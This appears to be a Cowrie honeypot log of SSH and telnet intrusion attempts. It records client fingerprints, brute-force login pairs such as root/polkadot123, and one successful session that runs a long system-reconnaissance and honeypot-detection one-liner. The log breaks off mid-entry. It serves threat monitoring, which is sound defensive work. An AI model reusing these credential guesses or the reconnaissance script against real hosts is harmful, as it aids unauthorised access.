{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:48.174332Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Administrator","message":"login attempt [admin/Administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.006431Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.641362Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.643822Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.646474Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.649135Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.651585Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.654688Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.656855Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.659269Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.661487Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.664253Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.667228Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","size":356,"shasum":"78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.840342Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:49.967565Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53024,"dst_ip":"159.203.135.109","dst_port":23,"session":"34080e5ae76d","protocol":"telnet","message":"New connection: 107.6.151.170:53024 (159.203.135.109:23) [session: 34080e5ae76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:50.772105Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57126,"dst_ip":"159.203.135.109","dst_port":23,"session":"accfb2fad66e","protocol":"telnet","message":"New connection: 107.6.151.170:57126 (159.203.135.109:23) [session: accfb2fad66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:50.776375Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a7aa488cf8","protocol":"ssh","message":"New connection: 154.16.115.34:36198 (159.203.135.109:22) [session: 63a7aa488cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:58.982034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:58.986741Z","src_ip":"154.16.115.34","session":"63a7aa488cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:59.011546Z","src_ip":"154.16.115.34","session":"63a7aa488cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Swyftx@S3cur3!","message":"login attempt [root/Swyftx@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:59.125214Z","src_ip":"154.16.115.34","session":"63a7aa488cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:00.152644Z","src_ip":"154.16.115.34","session":"63a7aa488cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":56164,"dst_ip":"10.17.0.5","dst_port":22,"session":"e96543e89090","protocol":"ssh","message":"New connection: 132.148.155.138:56164 (10.17.0.5:22) [session: e96543e89090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:07.346536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:07.350451Z","src_ip":"132.148.155.138","session":"e96543e89090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:07.415548Z","src_ip":"132.148.155.138","session":"e96543e89090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot123","message":"login attempt [root/polkadot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:07.613324Z","src_ip":"132.148.155.138","session":"e96543e89090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:08.683394Z","src_ip":"132.148.155.138","session":"e96543e89090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c4c23d05cb","protocol":"ssh","message":"New connection: 86.111.187.163:38944 (10.17.0.5:22) [session: 57c4c23d05cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:13.520421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:13.523662Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:13.650410Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH3Kj6hcVfE1OX/7Wl3HWtPqvu/kjVFIWUJP8ztYWl4o","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:13.975259Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH3Kj6hcVfE1OX/7Wl3HWtPqvu/kjVFIWUJP8ztYWl4o","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:13.978468Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:cd:6a:d0:b3:93:11:62:2a:a8:8f:df:c3:22:40:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu65MrkeXRX7A6sAVataXD7bs5hdNr5a4bOKU/fehTyAdM82o7K3rtnNUuhtMjkIWUyQekDX82IxbUzmhpbu7CWXouIYxonmolvhMAFVxz9Ww5VHhF4BrwXL2E7sNc971VjyAbPtJlWmTN+6QgV1PCiLtlxOK1QAzB5xXLFMY2X1FJrv5qdNMDGrbJq+F8TcaWdcNGXi1qPq/xwanlSgiVr5/DS4F5PvVTIwdUoRxfqSu/f3UzD/QTzfiCwpV5f/nZC+EsulZ4RHQTl/rpV0OxvdIprAUCcgVC2wWhTU0OBG6TvxAvhnXtTmo1us4lneLux1WgU+uTGK7M/cFQId1hQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:cd:6a:d0:b3:93:11:62:2a:a8:8f:df:c3:22:40:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.050678Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:cd:6a:d0:b3:93:11:62:2a:a8:8f:df:c3:22:40:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu65MrkeXRX7A6sAVataXD7bs5hdNr5a4bOKU/fehTyAdM82o7K3rtnNUuhtMjkIWUyQekDX82IxbUzmhpbu7CWXouIYxonmolvhMAFVxz9Ww5VHhF4BrwXL2E7sNc971VjyAbPtJlWmTN+6QgV1PCiLtlxOK1QAzB5xXLFMY2X1FJrv5qdNMDGrbJq+F8TcaWdcNGXi1qPq/xwanlSgiVr5/DS4F5PvVTIwdUoRxfqSu/f3UzD/QTzfiCwpV5f/nZC+EsulZ4RHQTl/rpV0OxvdIprAUCcgVC2wWhTU0OBG6TvxAvhnXtTmo1us4lneLux1WgU+uTGK7M/cFQId1hQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.053900Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:9f:38:4b:a8:20:89:72:a5:2b:66:ef:19:58:52:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxSSpk+/OZOIo1KULCDZlWbGoY7IpZzqwSgwvQ7iVeet+1cpJwhcA14drmOy4qDdUF7fYxTXaD6qOheeDUdhMemVfJ/iNkRr+S2qx78N4dOiP2s5Nw/1J7FjzTxyFZZho4jEdhmcNecXukroZRApcE5U6TDH+3h4lW74/cWr1xzn/USz9NA0YMuAhHE7h/WyIQGM9oaswgmD9RLy8MNot+nTrKP8vU+WirzSGfrT165qb/sGWx0kouWM7R09Mvrc9MpUu9ZGGE9d3yoBgkOTgDBppEVldrfPw6ien/7Fb/fsbsI39Jd2a540BFKWIPBRLCEN4C4nIEUp35pk7CIioITEXzcHBdianjK7D2rja9cK+KLeeFPhOQM9BmukQszhSCQEiYuRTOQ/x1SIzOMUapWeOeMB9Oy+gHV0t1VbXlVKmPpGwBXse0FVcPswm9uie1EXP+0YsF8FaquMESn6J0fOsB69f8g2fQVA8Lf8ge67tfHOK1UFBEkhzdw85aK7k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:9f:38:4b:a8:20:89:72:a5:2b:66:ef:19:58:52:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:51:14.126289Z","src_ip":"86.111.187.163","session":"57c4c23d05cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:9f:38:4b:a8:20:89:72:a5:2b:66:ef:19:58:52:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxSSpk+/OZOIo1KULCDZlWbGoY7IpZzqwSgwvQ7iVeet+1cpJwhcA14drmOy4qDdUF7fYxTXaD6qOheeDUdhMemVfJ/iNkRr+S2qx78N4dOiP2s5Nw/1J7FjzTxyFZZho4jEdhmcNecXukroZRApcE5U6TDH+3h4lW74/cWr1xzn/USz9NA0YMuAhHE7h/WyIQGM9oaswgmD9RLy8MNot+nTrKP8vU+WirzSGfrT165qb/sGWx0kouWM7R09Mvrc9MpUu9ZGGE9d3yoBgkOTgDBppEVldrfPw6ien/7Fb/fsbsI39Jd2a540BFKWIPBRLCEN4C4nIEUp35pk7CIioITEXzcHBdianjK7D2rja9cK+KLeeFPhOQM9BmukQszhSCQEiYuRTOQ/x1SIzOMUapWeOeMB9Oy+gHV0t1VbXlVKmPpGwBXse0FVcPswm9uie1EXP+0YsF8FaquMESn6J0fOsB69f8g2fQVA8Lf8ge67tfHOK1UFBEkhzdw85aK7k=","type":"ssh-rsa","message":"public key login attempt for [root] 